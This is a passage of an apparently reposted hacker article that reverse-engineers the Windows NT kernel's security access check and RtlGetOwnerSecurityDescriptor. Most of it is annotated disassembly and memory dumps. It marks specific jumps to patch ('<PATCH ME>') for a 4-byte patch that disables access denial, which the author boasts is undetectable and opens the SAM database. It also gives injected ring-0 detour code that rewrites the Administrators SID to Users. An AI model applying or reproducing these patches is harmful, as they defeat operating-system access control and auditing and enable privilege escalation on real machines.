80199AD3 80199AD3 loc_80199AD3: ; CODE XREF: sub_80199836+185 80199AD3 mov [ebp+var_C], 0 ; jump lands here 80199ADA add esi, 8 80199ADD cmp [ebp+var_10], 0 ; is number of ACE's zero? 80199AE1 jz loc_80199B79 ; normally not 80199AE7 80199AE7 loc_80199AE7: ; CODE XREF: sub_80199836+33D 80199AE7 test edi, edi ; the EDI register is very ; important we will continue ; to loop back to this point ; as we traverse each ACE ; the EDI register is modified ; with each ACE's access mask ; if a SID match occurs. ; Access is allowed only if ; EDI is completely blank ; by the time we are done. :-) 80199AE9 jz loc_80199B79 ; jumps to exit routine ; if EDI is blank 80199AEF test byte ptr [esi+1], 8 ; checks for ACE value ; 8, second byte.. ; i dont know what ; this is, but if it's ; not 8, its not ; evaluated, not ; important 80199AF3 jnz short loc_80199B64 80199AF5 mov al, [esi] ; this is the ACE type, ; which is 0, 1, or 4 80199AF7 test al, al ; 0 is ALLOWED_TYPE and ; 1 is DENIED_TYPE 80199AF9 jnz short loc_80199B14 ; jump to next block if ; it's not type 0 80199AFB lea eax, [esi+8] ; offset 8 is the SID 80199AFE push eax ; pushes the ACE 80199AFF push [ebp+var_8] 80199B02 call sub_801997C2 ; checks to see if the ; caller matches the ; SID return of 1 says ; we matched, 0 means ; we did not 80199B07 test al, al 80199B09 jz short loc_80199B64 ; a match here is good, ; since its the ALLOWED ; list ; so a 2 byte patch can ; NOP out this jump ; <PATCH ME> 80199B0B mov eax, [esi+4] 80199B0E not eax 80199B10 and edi, eax ; whiddles off the part ; of EDI that we ; matched .. ; this chopping of ; flags can go on through ; many loops ; remember, we are only ; good if ALL of EDI is ; chopped away... 80199B12 jmp short loc_80199B64 80199B14 ;
80199B14 80199B14 loc_80199B14: ; CODE XREF: sub_80199836+2C3 80199B14 cmp al, 4 ; check for ACE type 4 80199B16 jnz short loc_80199B4B ; normally we aren't ; this type, so jump *** removed source here *** 80199B4B ;
80199B4B 80199B4B loc_80199B4B: ; CODE XREF: sub_80199836+2E0j 80199B4B cmp al, 1 ; check for DENIED type 80199B4D jnz short loc_80199B64 80199B4F lea eax, [esi+8] ; offset 8 is the SID 80199B52 push eax 80199B53 push [ebp+var_8] 80199B56 call sub_801997C2 ; check the callers SID 80199B5B test al, al ; a match here is BAD, ; since we are being ; DENIED 80199B5D jz short loc_80199B64 ; so make JZ a normal ; JMP <PATCH ME> 80199B5F test [esi+4], edi ; we avoid this flag ; check w/ the patch 80199B62 jnz short loc_80199B79 80199B64 80199B64 loc_80199B64: ; CODE XREF: sub_80199836+2BD 80199B64 ; sub_80199836+2D3 80199B64 mov ecx, [ebp+var_10] ; our loop routine, ; called from above as ; we loop around and ; around. ; var_10 is the number ; of ACE's 80199B67 inc [ebp+var_C] ; var_C is the current ; ACE 80199B6A movzx eax, word ptr [esi+2] ; byte 3 is the offset ; to the next ACE 80199B6E add esi, eax ; FFWD 80199B70 cmp [ebp+var_C], ecx ; check to see if we ; are done 80199B73 jb loc_80199AE7 ; if not, go back up... 80199B79 80199B79 loc_80199B79: ; CODE XREF: sub_80199836+2AB 80199B79 ; sub_80199836+2B3 80199B79 xor eax, eax ; this is our general ; exit routine 80199B7B test edi, edi ; if EDI isnt empty, ; then a DENIED state ; was reached above 80199B7D jz short loc_80199B91 ; so patch the JZ into ; a JMP so we never ; return ACCESS_DENIED ; <PATCH ME> 80199B7F mov ecx, [ebp+arg_1C] 80199B82 mov [ecx], eax 80199B84 mov eax, [ebp+arg_24] ; STATUS_ACCESS_DENIED 80199B87 mov dword ptr [eax], 0C0000022h 80199B8D xor al, al 80199B8F jmp short loc_80199C0C 80199B91 ;
80199B91 80199B91 loc_80199B91: ; CODE XREF: sub_80199836+347 80199B91 mov eax, [ebp+1Ch] 80199B94 mov ecx, [ebp+arg_1C] ; result code into ; &arg_1C 80199B97 or eax, [ebp+arg_C] ; checked passed in ; mask 80199B9A mov [ecx], eax 80199B9C mov ecx, [ebp+arg_24] ; result code into ; &arg_24, should be ; zero 80199B9F jnz short loc_80199BAB ; if everything above ; went OK, we should jump 80199BA1 xor al, al 80199BA3 mov dword ptr [ecx], 0C0000022h 80199BA9 jmp short loc_80199C0C 80199BAB ;
80199BAB 80199BAB loc_80199BAB: ; CODE XREF: sub_80199836+369 80199BAB mov dword ptr [ecx], 0 ; Good and Happy ; things, we passed! 80199BB1 test ebx, ebx 80199BB3 jz short loc_80199C0A 80199BB5 push [ebp+arg_20] 80199BB8 push dword ptr [ebp+var_2] 80199BBB push dword ptr [ebp-1] 80199BBE push ebx 80199BBF call sub_8019DC80 80199BC4 jmp short loc_80199C0A 80199BC6 ;
removed code here 80199C0A loc_80199C0A: ; CODE XREF: sub_80199836+123 80199C0A ; sub_80199836+152 80199C0A mov al, 1 80199C0C 80199C0C loc_80199C0C: ; CODE XREF: sub_80199836+55 80199C0C ; sub_80199836+8F 80199C0C pop edi 80199C0D pop esi 80199C0E pop ebx 80199C0F mov esp, ebp 80199C11 pop ebp 80199C12 retn 28h ; Outta Here! 80199C12 sub_80199836 endp Whew! Some STRUCTURE dumps along the way: :d eax 0023:E1A1C174 01 00 04 80 DC 00 00 00-EC 00 00 00 00 00 00 00 ................ ; this looks like a SD 0023:E1A1C184 14 00 00 00 02 00 C8 00-08 00 00 00 00 09 18 00 ................ 0023:E1A1C194 00 00 00 10 01 01 00 00-00 00 00 03 00 00 00 00 ................ 0023:E1A1C1A4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00 ................ 0023:E1A1C1B4 00 00 00 03 00 00 00 00-00 00 00 00 00 09 18 00 ................ 0023:E1A1C1C4 00 00 00 10 01 01 00 00-00 00 00 05 12 00 00 00 ................ 0023:E1A1C1D4 00 00 00 00 00 02 18 00-FF 01 1F 00 01 01 00 00 ................ 0023:E1A1C1E4 00 00 00 05 12 00 00 00-00 00 00 00 00 09 18 00 ................ :d esi 0023:E1A1C188 02 00 C8 00 08 00 00 00-00 09 18 00 00 00 00 10 ................ ; OFFSET into the SD (DACL) 0023:E1A1C198 01 01 00 00 00 00 00 03-00 00 00 00 00 00 00 00 ................ 0023:E1A1C1A8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 03 ................ 0023:E1A1C1B8 00 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10 ................ 0023:E1A1C1C8 01 01 00 00 00 00 00 05-12 00 00 00 00 00 00 00 ................ 0023:E1A1C1D8 00 02 18 00 FF 01 1F 00-01 01 00 00 00 00 00 05 ................ 0023:E1A1C1E8 12 00 00 00 00 00 00 00-00 09 18 00 00 00 00 10 ................ 0023:E1A1C1F8 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00 ........ ... ... The following formats appear to be the SD, DACL, and ACE: SD: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- r | |04|80|fo| | | |fg| | | | | | |fd| | --==> -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- r: Revision, must be 1 fo: Offset to Owner SID fg: Offset to Group SID fd: Offset to DACL ACL: -- -- -- -- -- -- -- -- -- -- r | | | |na| | | |sa| | --==> -- -- -- -- -- -- -- -- -- -- r: Revision? na: Number of ACE's sa: Start of first ACE ACE: -- -- -- -- -- -- -- -- -- -- t |i |oa| |am| | | |ss| | --==> -- -- -- -- -- -- -- -- -- -- t: type, 0, 1, or 4 i: the ACE is ignored if this value isn't 8 oa: offset to next ACE am: access mask associated with this SID ss: start of the SID, normally at offset 8, but for ACE type 4, will be at offset 0Ch So there you have it, a 4 byte patch. Application of this patch will allow almost anyone access to almost any object on your NT domain. Also, it is undetectable when auditing ACL's and the such. The only indication something is wrong is the fact your now opening the SAM database from a normal account w/o a hitch... I can kill any process without being denied access.. God knows what the NULL User session can get away with!. I like that. 8-/. Gee, it's almost USEFUL isn't it? Reverse Engineering & Patch of the RTLGetOwnerSecurityDescriptor() function --------------------------------------------------------------------------- As if the last patch wasn't good enough, this patch should illustrate how easy it is add your own code to the Kernel. Simply by patching a single jump, I was able to detour the execution path into a highwayman's patch, and return back to normal execution without a hitch. This patch alters a SID in memory, violating the integrity of the security system. With a little creative light, this patch could be so much more. There are hundreds of routines in the ntoskrnl.exe. You are executing your own code in ring-0, so anything is possible. If for any other reason, this paper should open your mind to the possibilities. Reversing the NT Kernel is nothing new, I am quite sure. I would bet that the NSA has the full source to the NT Kernel, and has written some very elaborate patches. In fact, they were probably on that for NT 3.5. 80184AAC ;
80184AAF align 4 80184AB0 ; Exported entry 719. RtlGetOwnerSecurityDescriptor 80184AB0 80184AB0 ;
80184AB0 80184AB0 ; S u b r o u t i n e 80184AB0 ; Attributes: bp-based frame 80184AB0 80184AB0 public RtlGetOwnerSecurityDescriptor 80184AB0 RtlGetOwnerSecurityDescriptor proc near ; CODE XREF: sub_8018F318+22 80184AB0 80184AB0 arg_0 = dword ptr 8 80184AB0 arg_4 = dword ptr 0Ch 80184AB0 arg_8 = dword ptr 10h 80184AB0 80184AB0 push ebp 80184AB1 mov edx, [esp+arg_0] 80184AB5 mov ebp, esp 80184AB7 push esi // // MessageId: STATUS_UNKNOWN_REVISION // // MessageText: // // Indicates a revision number encountered or specified is not one // known by the service. It may be a more recent revision than the // service is aware of. // #define STATUS_UNKNOWN_REVISION ((NTSTATUS)0xC0000058L) On SD Revision: The user mode function InitializeSecurityDescriptor() will set the revision number for the SD. The InitializeSecurityDescriptor() function initializes a new security descriptor. BOOL InitializeSecurityDescriptor( PSECURITY_DESCRIPTOR pSecurityDescriptor, // address of security descriptor DWORD dwRevision // revision level ); Parameters: pSecurityDescriptor: Points to a SECURITY_DESCRIPTOR structure that the function initializes. dwRevision: Specifies the revision level to assign to the security descriptor. This must be SECURITY_DESCRIPTOR_REVISION. 80184AB8 cmp byte ptr [edx], 1 ; Ptr to decimal ; value usually 01, ; (SD Revision) 80184ABB jz short loc_80184AC4 ; STATUS CODE (STATUS_UNKNOWN_REVISION) 80184ABD mov eax, 0C0000058h 80184AC2 jmp short loc_80184AF3 ; will exit The next block here does some operations against the object stored *edx, which is our first argument to this function. I think this may be a SD. There are two different forms of an SD, absolute and relative.. here is the doc: A security descriptor can be in absolute or self-relative form. In self-relative form, all members of the structure are located contiguously in memory. In absolute form, the structure only contains pointers to the members. This [edx] object is passed in as absolute: Argument 1 (a SECURITY_DESCRIPTOR structure): :d edx 0023:E1F47488 01 00 04 80 5C 00 00 00-6C 00 00 00 00 00 00 00 ....\...l....... ; 01 Revision, Flags 04, ; Offset to Owner SID is 5C, ; Offset to Primary Group SID is 6C 0023:E1F47498 14 00 00 00 02 00 48 00-02 00 00 00 00 00 18 00 ......H......... 0023:E1F474A8 FF 00 0F 00 01 02 00 00-00 00 00 05 20 00 00 00 ............ ... 0023:E1F474B8 20 02 00 00 00 00 14 00-FF 00 0F 00 01 01 00 00 ............... 0023:E1F474C8 00 00 00 05 12 00 00 00-00 00 4E 00 C8 FD 14 00 ..........N..... 0023:E1F474D8 E8 00 14 00 41 00 64 00-6D 00 69 00 01 02 00 00 ....A.d.m.i..... ; SIDS start here, see below 0023:E1F474E8 00 00 00 05 20 00 00 00-20 02 00 00 01 05 00 00 .... ... ....... 0023:E1F474F8 00 00 00 05 15 00 00 00-BA 5D FF 0C 5C 4F CF 51 .........]..\O.Q 80184AC4 ;
80184AC4 80184AC4 loc_80184AC4: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+B 80184AC4 mov eax, [edx+4] ; we are here if the revision ; is good 80184AC7 xor ecx, ecx 80184AC9 test eax, eax ; 01 00 04 80 >5C< which is ; [edx+4] must not be zero ; if the value IS zero, this ; means the SD does NOT have a ; owner, and it sets argument ; 2 to NULL, then returns, ; ignoring argument 3 ; altogether. 80184ACB jnz short loc_80184AD4 80184ACD mov esi, [ebp+arg_4] 80184AD0 mov [esi], ecx 80184AD2 jmp short loc_80184AE1 80184AD4 ;
80184AD4 80184AD4 loc_80184AD4: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+1B 80184AD4 test byte ptr [edx+3], 80h ; 01 00 04 >80< 5C ; which is [edx+3] must be 80 80184AD8 jz short loc_80184ADC 80184ADA add eax, edx ; adds edx to 5C, ; which must be an ; offset to the SID ; within the SD Note a couple of SIDS hanging around in this memory location. The first one is the Owner, the second one must be the Group. The first SID, 1-5-20-220 is BUILTIN\Administrators. By changing the 220 to a 222, we can alter this to be BUILTIN\Guests. This will cause serious security problems. That second SID happens to be long nasty one.. that is your first indication that it's NOT a built-in group. In fact, in this case, the group is ANSUZ\None, a local group on my NT Server (my server is obviously named ANSUZ.. ;) :d eax 0023:E1A49F84 01 02 00 00 00 00 00 05-20 00 00 00 20 02 00 00 ........ ... ... ; This is a SID in memory (1-5-20-220) 0023:E1A49F94 01 05 00 00 00 00 00 05-15 00 00 00 BA 5D FF 0C .............].. ; another SID 0023:E1A49FA4 5C 4F CF 51 FD 28 9A 4E-01 02 ; (1-5-15-CFF5DBA-51CF4F5C-4E9A28FD-201) Here we start working with arguments 1 & 2: 80184ADC 80184ADC loc_80184ADC: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+28 80184ADC mov esi, [ebp+arg_4] 80184ADF mov [esi], eax ; moving the address of the ; SID through the user ; supplied ptr (PSID pOwner) 80184AE1 80184AE1 loc_80184AE1: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+22 80184AE1 mov ax, [edx+2] ; some sort of flags ; 01 00 >04< 80 5C 80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with flags data 80184AE8 and al, 1 80184AEA cmp al, 1 ; checking against a mask of ; 0x01 80184AEC setz cl ; set based on flags register ; (if previous compare was true) 80184AEF xor eax, eax ; status is zero, all good ;) 80184AF1 mov [edx], cl ; the value is set for ; SE_OWNER_DEFAULTED ; true/false 80184AF3 80184AF3 loc_80184AF3: ; CODE XREF: ; RtlGetOwnerSecurityDescriptor+12 80184AF3 pop esi 80184AF4 pop ebp 80184AF5 retn 0Ch ; outta here, status in EAX 80184AF5 RtlGetOwnerSecurityDescriptor endp This routine is called from the following stack(s): (NtOpenProcessToken) Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=31.98 milliseconds) :stack at 001B:00000000 (SS:EBP 0010:00000000) ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8E3FF04) ntoskrnl!NtOpenProcessToken+025E at 0008:80198834 (SS:EBP 0010:F8E3FEEC) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8E3FE50) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8E3FD80) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8E3FD48) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8E3FD34) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8E3FD20) => ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8E3FD00) (PsCreateWin32Process) Break due to BPX ntoskrnl!RtlGetOwnerSecurityDescriptor (ET=3.62 milliseconds) :stack ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateWin32Process+01E7 at 0008:80192B5D (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsCreateSystemThread+04CE at 0008:8019303E (SS:EBP 0010:F8CDFE6C) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDC8) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCF8) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCC0) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCAC) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC98) => ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC78) (PsCreateSystemThread) :stack ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsCreateSystemProcess+05FD at 0008:801938B1 (SS:EBP 0010:F8CDFE8C) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFDEC) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFD1C) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFCE4) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFCD0) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFCBC) => ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC9C) (SeTokenImpersonationLevel) :stack ntoskrnl!KiReleaseSpinLock+09C4 at 0008:8013CC94 (SS:EBP 0010:F8CDFF04) ntoskrnl!PsCreateSystemThread+0731 at 0008:801932A1 (SS:EBP 0010:F8CDFEDC) ntoskrnl!PsRevertToSelf+0063 at 0008:8013577D (SS:EBP 0010:F8CDFE8C) ntoskrnl!SeTokenImpersonationLevel+01A3 at 0008:8019F12F (SS:EBP 0010:F8CDFDE8) ntoskrnl!ObInsertObject+026F at 0008:8018CDD5 (SS:EBP 0010:F8CDFD9C) ntoskrnl!ObAssignSecurity+0059 at 0008:801342A3 (SS:EBP 0010:F8CDFCCC) ntoskrnl!SeSinglePrivilegeCheck+018F at 0008:8019E80F (SS:EBP 0010:F8CDFC94) ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFC80) ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP 0010:F8CDFC6C) => ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP 0010:F8CDFC4C) I began by trying to patch this call. I decided to try and detect the Owner SID of BUILTIN\Administrators (1-5-20-220) and change it to BUILTIN\Users (1-5-20-221) on the fly. The following code is what I patched in: First, I located a region of memory where I could dump some extra code. For testing, I chose the region at 08:8000F2B0. I found it to be initially all zeroed out, so I figured it safe for a while. Next, I assembled some instructions into this new area: 8000F2B0: push ebx mov ebx, [eax + 08] cmp ebx, 20 ; check the 20 in 1-5-20-XXX nop ; nop's are leftovers from ; debugging nop jnz 8000f2c2 ; skip it if we aren't looking ; at a 20 mov word ptr [eax+0c], 221 ; write over old RID w/ new RID ; of 221 nop 8000f2c2: pop ebx nop mov esi, [ebp + 0c] ; the two instructions mov [esi], eax ; that I nuked to make the ; initial jump jmp 80184ae1 Now, notice the last two instructions prior to the jump back to NT. To make this call, I had to install a JMP instruction into the NT subroutine itself. Doing that nuked two actual instructions, as follows: Original code: 80184ADC mov esi, [ebp+arg_4];<**===--- PATCHING A JUMP ; HERE 80184ADF mov [esi], eax 80184AE1 mov ax, [edx+2] ; some sort of flags ; 01 00 >04< 80 5C 80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with flags data After patch: 80184ADC JMP 8000F2B0 ; Note: this nuked two real ; instructions... 80184AE1 mov ax, [edx+2] ; some sort of flags ; 01 00 >04< 80 5C 80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be ; filled in with flags data So, to correct this, the code that I am jumping to runs the two missing instructions: mov esi, [ebp + 0c] ; the two instructions mov [esi], eax ; that I nuked to make the ; initial jump Alas, all is good. I tested this patch for quite some time without a problem. To verify that it was working, I checked the memory during the patch, and sure enough, it was turning SID 1-5-20-220 into SID 1-5-20-221. However, as with all projects, I was not out of the water yet. When getting the security properties for a file, the Owner still shows up as Administrators. This patch is clearly called during such a query, as I have set breakpoints. However, the displayed OWNER is still administrators, even though I am patching the SID in memory. Further investigation has revealed that this routine isn't called to check access to a file object, but is called for opening process tokens, creating processes, and creating threads. Perhaps someone could shed some more light on this? Nonetheless, the methods used in this patch can be re-purposed for almost any Kernel routine, so I hope it has been a useful journey. Appendix A: Exported functions for the SRM: ------------------------------------------- SeAccessCheck SeAppendPrivileges SeAssignSecurity SeAuditingFileEvents SeAuditingFileOrGlobalEvents SeCaptureSecurityDescriptor SeCaptureSubjectContext SeCloseObjectAuditAlarm SeCreateAccessState SeCreateClientSecurity SeDeassignSecurity SeDeleteAccessState SeDeleteObjectAuditAlarm SeExports SeFreePrivileges SeImpersonateClient SeLockSubjectContext SeMarkLogonSessionForTerminationNotification SeOpenObjectAuditAlarm SeOpenObjectForDeleteAuditAlarm SePrivilegeCheck SePrivilegeObjectAuditAlarm SePublicDefaultDacl SeQueryAuthenticationIdToken SeQuerySecurityDescriptorInfo SeRegisterLogonSessionTerminatedRoutine SeReleaseSecurityDescriptor SeReleaseSubjectContext SeSetAccessStateGenericMapping SeSetSecurityDescriptorInfo SeSinglePrivilegeCheck SeSystemDefaultDacl SeTokenImpersonationLevel SeTokenType SeUnlockSubjectContext SeUnregisterLogonSessionTerminatedRoutine SeValidSecurityDescriptor Here are the exported functions for the Object Manager: ObAssignSecurity ObCheckCreateObjectAccess ObCheckObjectAccess ObCreateObject ObDereferenceObject ObfDereferenceObject ObFindHandleForObject ObfReferenceObject ObGetObjectPointerCount ObGetObjectSecurity ObInsertObject ObMakeTemporaryObject ObOpenObjectByName ObOpenObjectByPointer ObQueryNameString ObQueryObjectAuditingByHandle ObReferenceObjectByHandle ObReferenceObjectByName ObReferenceObjectByPointer ObReleaseObjectSecurity ObSetSecurityDescriptorInfo Here are the exported functions for the IO Manager: IoAcquireCancelSpinLock IoAcquireVpbSpinLock IoAdapterObjectType IoAllocateAdapterChannel IoAllocateController IoAllocateErrorLogEntry IoAllocateIrp IoAllocateMdl IoAssignResources IoAttachDevice IoAttachDeviceByPointer IoAttachDeviceToDeviceStack IoBuildAsynchronousFsdRequest IoBuildDeviceIoControlRequest IoBuildPartialMdl IoBuildSynchronousFsdRequest IoCallDriver IoCancelIrp IoCheckDesiredAccess IoCheckEaBufferValidity IoCheckFunctionAccess IoCheckShareAccess IoCompleteRequest IoConnectInterrupt IoCreateController IoCreateDevice IoCreateFile IoCreateNotificationEvent IoCreateStreamFileObject IoCreateSymbolicLink IoCreateSynchronizationEvent IoCreateUnprotectedSymbolicLink IoDeleteController IoDeleteDevice IoDeleteSymbolicLink IoDetachDevice IoDeviceHandlerObjectSize IoDeviceHandlerObjectType IoDeviceObjectType IoDisconnectInterrupt IoDriverObjectType IoEnqueueIrp IoFastQueryNetworkAttributes IofCallDriver IofCompleteRequest IoFileObjectType IoFreeController IoFreeIrp IoFreeMdl IoGetAttachedDevice IoGetBaseFileSystemDeviceObject IoGetConfigurationInformation IoGetCurrentProcess IoGetDeviceObjectPointer IoGetDeviceToVerify IoGetFileObjectGenericMapping IoGetInitialStack IoGetRelatedDeviceObject IoGetRequestorProcess IoGetStackLimits IoGetTopLevelIrp IoInitializeIrp IoInitializeTimer IoIsOperationSynchronous IoIsSystemThread IoMakeAssociatedIrp IoOpenDeviceInstanceKey IoPageRead IoQueryDeviceDescription IoQueryDeviceEnumInfo IoQueryFileInformation IoQueryVolumeInformation IoQueueThreadIrp IoRaiseHardError IoRaiseInformationalHardError IoReadOperationCount IoReadTransferCount IoRegisterDriverReinitialization IoRegisterFileSystem IoRegisterFsRegistrationChange IoRegisterShutdownNotification IoReleaseCancelSpinLock IoReleaseVpbSpinLock IoRemoveShareAccess IoReportHalResourceUsage IoReportResourceUsage IoSetDeviceToVerify IoSetHardErrorOrVerifyDevice IoSetInformation IoSetShareAccess IoSetThreadHardErrorMode IoSetTopLevelIrp IoStartNextPacket IoStartNextPacketByKey IoStartPacket IoStartTimer IoStatisticsLock IoStopTimer IoSynchronousPageWrite IoThreadToProcess IoUnregisterFileSystem IoUnregisterFsRegistrationChange IoUnregisterShutdownNotification IoUpdateShareAccess IoVerifyVolume IoWriteErrorLogEntry IoWriteOperationCount IoWriteTransferCount Here are the exported functions for the LSA: LsaCallAuthenticationPackage LsaDeregisterLogonProcess LsaFreeReturnBuffer LsaLogonUser LsaLookupAuthenticationPackage LsaRegisterLogonProcess The only imports are from the HAL DLL: HAL.ExAcquireFastMutex HAL.ExReleaseFastMutex HAL.ExTryToAcquireFastMutex HAL.HalAllocateAdapterChannel HAL.HalBeginSystemInterrupt HAL.HalClearSoftwareInterrupt HAL.HalDisableSystemInterrupt HAL.HalDisplayString HAL.HalEnableSystemInterrupt HAL.HalEndSystemInterrupt HAL.HalGetEnvironmentVariable HAL.HalHandleNMI HAL.HalProcessorIdle HAL.HalQueryDisplayParameters HAL.HalRequestSoftwareInterrupt HAL.HalReturnToFirmware HAL.HalSetEnvironmentVariable HAL.HalSetRealTimeClock HAL.HalStartProfileInterrupt HAL.HalStopProfileInterrupt HAL.HalSystemVectorDispatchEntry HAL.KdPortPollByte HAL.KdPortRestore HAL.KdPortSave HAL.KeGetCurrentIrql HAL.KeLowerIrql HAL.KeRaiseIrql HAL.KeRaiseIrqlToDpcLevel HAL.KeRaiseIrqlToSynchLevel HAL.KfAcquireSpinLock HAL.KfLowerIrql HAL.KfRaiseIrql HAL.KfReleaseSpinLock HAL.READ_PORT_UCHAR HAL.READ_PORT_ULONG HAL.READ_PORT_USHORT HAL.WRITE_PORT_UCHAR HAL.WRITE_PORT_ULONG HAL.WRITE_PORT_USHORT ----[ EOF

<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>

 Добавить комментарий
Имя:
E-Mail:
Заголовок:
Текст:




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру